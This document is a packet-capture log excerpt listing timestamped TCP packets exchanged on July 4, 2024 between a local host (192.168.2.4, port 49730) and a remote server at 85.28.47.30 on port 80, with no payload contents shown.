Jul 4, 2024 20:34:04.763660908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763664007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763678074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763679028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763695955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763700962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763711929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763715029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763725042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763736010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763755083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763756037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763768911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763771057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763784885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763798952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763798952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763813019 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763814926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.763834000 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.763854980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.785536051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.785617113 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.785621881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.785665989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.785670042 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.785708904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.785718918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.785762072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.785787106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.785840034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.785845041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.785891056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.785887957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.785955906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.785957098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786006927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786009073 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786024094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786037922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786046028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786051989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786066055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786072016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786082983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786088943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786093950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786104918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786111116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786119938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786132097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786135912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786148071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786149979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786159039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786165953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786175013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786180973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786199093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786200047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786207914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786216974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786226988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786232948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786240101 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786247015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786252975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786262989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786273003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786278009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786288977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786293030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786302090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786308050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786315918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786323071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786336899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786339045 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786354065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786359072 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786366940 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786372900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786387920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786391973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786397934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786406994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786418915 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786431074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786448002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.786596060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.786649942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788414001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788461924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788501978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788501978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788511038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788558006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788594007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788609982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788635969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788651943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788700104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788714886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788731098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788744926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788749933 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788759947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788767099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788774967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788789988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788791895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788804054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788819075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788820028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788834095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788846970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788849115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.788865089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.788889885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789551020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789601088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789637089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789652109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789666891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789686918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789690018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789697886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789705992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789707899 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789721966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789731979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789742947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789760113 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789793015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789808989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789823055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789836884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789839983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789849997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789853096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789870977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789894104 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789921045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789936066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789953947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789968014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789974928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.789982080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.789994001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790002108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790013075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790024996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790028095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790041924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790045023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790054083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790060997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790076017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790076971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790088892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790102959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790126085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790127993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790143967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790163040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790170908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790180922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790193081 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790195942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790210962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790222883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790239096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790266037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790268898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790280104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790293932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790307999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790311098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790323019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790323973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790339947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.790343046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790358067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.790374041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859426022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859474897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859497070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859510899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859524965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859539032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859544992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859555006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859582901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859617949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859618902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859632969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859649897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859666109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859667063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859688044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859695911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859702110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859718084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859735012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859740019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859755039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859755993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859774113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859783888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859822035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859826088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859842062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859855890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859869957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859869957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859885931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859900951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859932899 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.859961033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.859991074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.860004902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.860013008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.860021114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.860037088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.860042095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.860064983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.860099077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.879362106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879379034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879396915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879419088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.879424095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879441977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.879445076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879461050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879472017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.879477024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879508972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.879533052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.879621983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879643917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879657984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879673004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.879682064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.879695892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.879722118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880028009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880042076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880055904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880069971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880079031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880110025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880124092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880136013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880151033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880165100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880171061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880192995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880213976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880223036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880238056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880251884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880268097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880270958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880289078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880295992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880304098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880317926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880326986 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880345106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880371094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880517006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880532026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880544901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880567074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880568027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880583048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880584002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880598068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880609989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880621910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880635977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880649090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880651951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880664110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880666971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880681992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.880698919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.880728960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882553101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882569075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882582903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882608891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882623911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882638931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882642984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882652998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882667065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882678032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882704020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882729053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882739067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882754087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882767916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882782936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882790089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882797956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882798910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882812977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882818937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882827044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.882853985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.882873058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883245945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883260965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883280993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883299112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883389950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883404970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883418083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883419037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883431911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883440018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883449078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883457899 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883465052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883479118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883487940 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883495092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883508921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883512974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883524895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883538961 CEST	80	49730	85.28.47.30	192.168.2.4
